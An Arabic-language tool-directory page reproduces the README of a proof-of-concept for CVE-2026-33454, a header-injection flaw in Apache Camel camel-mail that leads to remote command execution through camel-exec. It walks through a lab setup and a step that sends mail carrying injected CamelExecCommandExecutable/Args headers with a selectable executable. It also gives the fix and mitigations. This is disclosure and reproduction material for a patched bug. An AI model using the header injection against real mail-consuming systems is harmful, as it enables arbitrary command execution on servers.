Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-33454 — أداة إعادة إنتاج لـ CVE-2026-33454: حقن الترويسات في Apache Camel camel-mail للوصول إلى RCE عبر camel-exec | Kitploit
أدوات/GitHubGitHub/oscerd/cve-2026-33454
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقتطوير الحمولات
GitHuboscerd/cve-2026-33454

CVE-2026-33454

أداة إعادة إنتاج لـ CVE-2026-33454: حقن الترويسات في Apache Camel camel-mail للوصول إلى RCE عبر camel-exec

عرض المستودع
11منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

إعادة إنتاج ثغرة حقن الترويسات في camel-mail → RCE (CVE-2026-33454)

يعرض هذا المشروع ثغرة حقن ترويسات رسائل Camel في مكوّن camel-mail في Apache Camel، ويتم تتبعها باسم CVE-2026-33454. يمكن للمهاجم الذي يستطيع تسليم بريد إلكتروني إلى صندوق بريد يراقبه مستهلك بريد Camel أن يحقن ترويسات تحكم Camel* في كائن Exchange، محققًا تنفيذ تعليمات برمجية عن بُعد عندما يمرر المسار إلى مُنتِج حساس للترويسات مثل camel-exec.

النشرة الأمنية: https://camel.apache.org/security/CVE-2026-33454.html

ملخص الثغرة

الخاصيةالقيمة
المكوّنcamel-mail
الفئة المتأثرةorg.apache.camel.component.mail.MailHeaderFilterStrategy (+ MailBinding.extractHeadersFromMail)
السبب الجذريتضبط استراتيجية التصفية اتجاه OUT فقط (setOutFilterStartsWith) وليس اتجاه IN، لذلك لا تتم تصفية ترويسات MIME الواردة
CWECWE-20: التحقق غير السليم من المدخلات (حقن ترويسات رسائل Camel)
الأثرتنفيذ تعليمات برمجية عن بُعد (عبر المُنتِجات الحساسة للترويسات، مثل camel-exec)
الإصدارات المتأثرةمن 3.0.0 إلى ما قبل 4.14.6، ومن 4.15.0 إلى ما قبل 4.18.1
الإصدارات المُصلحة4.14.6، 4.18.1، 4.19.0
JIRACAMEL-23222
المُبلِّغHyunwoo Kim (@v4bel)

التفاصيل التقنية

ترث MailHeaderFilterStrategy من DefaultHeaderFilterStrategy. في الإصدارات المتأثرة، يضبط مُنشئها مرشح الإخراج (out) فقط ولا يضبط مرشح الإدخال (in) أبدًا:

root@kitploit:~
// MailHeaderFilterStrategy - affected version (only the OUT direction is filtered)
public MailHeaderFilterStrategy() {
    setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);   // OUT only
    // no setInFilterStartsWith(...) -> inbound Camel* headers are NOT filtered
}

عندما يستهلك Camel البريد (مثل from("imap://...") أو from("pop3://..."))، تنسخ MailBinding.extractHeadersFromMail() كل ترويسة MIME إلى ترويسات Exchange الواردة، بشرط أن يمررها headerFilterStrategy.applyFilterToExternalHeaders(...). ولأن مرشح in لم يُضبط أبدًا، فإن ترويسات MIME التي تبدأ بـ Camel* تمر مباشرة:

root@kitploit:~
// MailBinding.extractHeadersFromMail() - the in-filter is not configured, so Camel* passes
Enumeration<?> names = mailMessage.getAllHeaders();
...
boolean keep = !headerFilterStrategy.applyFilterToExternalHeaders(headerName, value, exchange);
if (keep) { answer.put(headerName, value); }

لذلك يمكن للمهاجم الذي يستطيع مراسلة صندوق البريد المراقَب ضبط ترويسات تحكم Camel* عشوائية. عندما يمرر المسار إلى مُنتِج حساس للترويسات مثل camel-exec، فإن ترويسات CamelExecCommandExecutable / CamelExecCommandArgs تتجاوز الأمر (يُعمل بها افتراضيًا في الإصدارات المتأثرة) → تنفيذ أوامر نظام التشغيل بشكل عشوائي.

مسار الضحية

root@kitploit:~
from("imap://127.0.0.1:3143?username=victim&password=secret&delete=true&unseen=true")
    .to("exec:echo?args=hello")     // fixed, harmless command
    .convertBodyTo(String.class);

المتطلبات الأساسية

  • Java 17+
  • Maven 3.8+
  • Docker (يشغّل خادم البريد)

خطوات إعادة الإنتاج

الخطوة 1: تشغيل خادم البريد (Docker)

توفر حاوية GreenMail خدمتي SMTP (3025) وIMAP (3143) مع صندوق بريد واحد (تسجيل الدخول victim، كلمة المرور secret، العنوان victim@localhost):

root@kitploit:~
docker compose up -d
# or:
docker run -d --name greenmail-cve -p 3025:3025 -p 3143:3143 \
  -e GREENMAIL_OPTS='-Dgreenmail.setup.test.all -Dgreenmail.users=victim:secret@localhost -Dgreenmail.hostname=0.0.0.0 -Dgreenmail.auth.disabled -Dgreenmail.verbose' \
  greenmail/standalone:2.1.0

الخطوة 2: بناء التطبيق وتشغيله

root@kitploit:~
mvn clean package -DskipTests
mvn spring-boot:run

يبدأ تشغيل مسار ضحية IMAP ووحدة تحكم REST مساعدة على المنفذ 8080.

الخطوة 3: بريد إلكتروني غير ضار (فحص سلامة)

root@kitploit:~
curl http://localhost:8080/exploit/normal

يلتقط المستهلك الرسالة وينفّذ echo hello.

الخطوة 4: الهجوم — تسليم بريد إلكتروني بترويسات MIME من Camel* مُحقنة

root@kitploit:~
# default benign proof: touch /tmp/pwned
curl http://localhost:8080/exploit/attack

# or choose the executable/args:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-mail"

يؤدي هذا إلى تسليم بريد إلكتروني تتضمن ترويسات MIME فيه:

root@kitploit:~
CamelExecCommandExecutable: /usr/bin/touch
CamelExecCommandArgs: /tmp/pwned

الخطوة 5: التحقق

root@kitploit:~
# wait ~2s for the IMAP poll cycle, then:
ls -la /tmp/pwned

إذا وُجد /tmp/pwned، فقد تجاوز ترويسة MIME المُحقنة أمر exec → RCE.

التنظيف

root@kitploit:~
docker compose down    # or: docker rm -f greenmail-cve

نواقل الهجوم

لا يحتاج الحقن سوى مُنتِج حساس للترويسات في المصب. تشير النشرة الأمنية إلى camel-bean وcamel-exec وcamel-sql؛ وعلى نطاق أوسع:

  • camel-exec — CamelExecCommandExecutable / CamelExecCommandArgs → تنفيذ أوامر نظام التشغيل
  • camel-file — CamelFileName → كتابة ملفات عشوائية / تجاوز المسار
  • camel-bean — CamelBeanMethodName → استدعاء طريقة مختلفة
  • camel-sql — ترويسات التحكم في الاستعلام

شروط الاستغلال

  1. مسار Camel يستهلك البريد (imap://, imaps://, pop3://, ...).
  2. يمرر المسار إلى (أو يتأثر بـ) مُنتِج حساس للترويسات.
  3. عدم وجود removeHeaders("Camel*") بين مستهلك البريد وهذا المُنتِج.

كل ما يحتاجه المهاجم هو القدرة على إرسال بريد إلكتروني إلى صندوق البريد المراقَب.

الإصلاح الموصى به

يضبط الإصلاح (CAMEL-23222) مرشح الاتجاه الوارد أيضًا:

root@kitploit:~
public MailHeaderFilterStrategy() {
    setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
    String[] inFilter = Arrays.copyOf(CAMEL_FILTER_STARTS_WITH, CAMEL_FILTER_STARTS_WITH.length + 2);
    inFilter[CAMEL_FILTER_STARTS_WITH.length]     = "mail.smtp.";
    inFilter[CAMEL_FILTER_STARTS_WITH.length + 1] = "mail.smtps.";
    setInFilterStartsWith(inFilter);   // now the inbound direction is filtered too
}

التخفيف

حتى الترقية:

  1. إزالة ترويسات Camel من الرسائل القادمة عبر البريد: .removeHeaders("Camel*") مباشرة بعد from("imap:...").
  2. تجنّب المُنتِجات الحساسة للترويسات في مصب بريد غير موثوق، أو ثبّت إعداداتها.
  3. قيّد من يمكنه التسليم إلى صندوق البريد المراقَب.

الملفات

root@kitploit:~
CVE-2026-33454/
├── pom.xml
├── docker-compose.yml               # GreenMail mail server (SMTP 3025 / IMAP 3143)
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Spring Boot entry point
    │   ├── MailExecRoute.java        # the vulnerable victim route (imap -> exec)
    │   └── ExploitController.java    # attacker: delivers the malicious email via SMTP
    └── resources/
        └── application.properties

إخلاء مسؤولية

أداة إعادة الإنتاج هذه مُقدمة للبحث الأمني والاختبار المصرح به فقط، لثغرة تم الكشف عنها وإصلاحها علنًا. لا تستخدمها ضد أنظمة دون إذن صريح.

تنزيل الأداة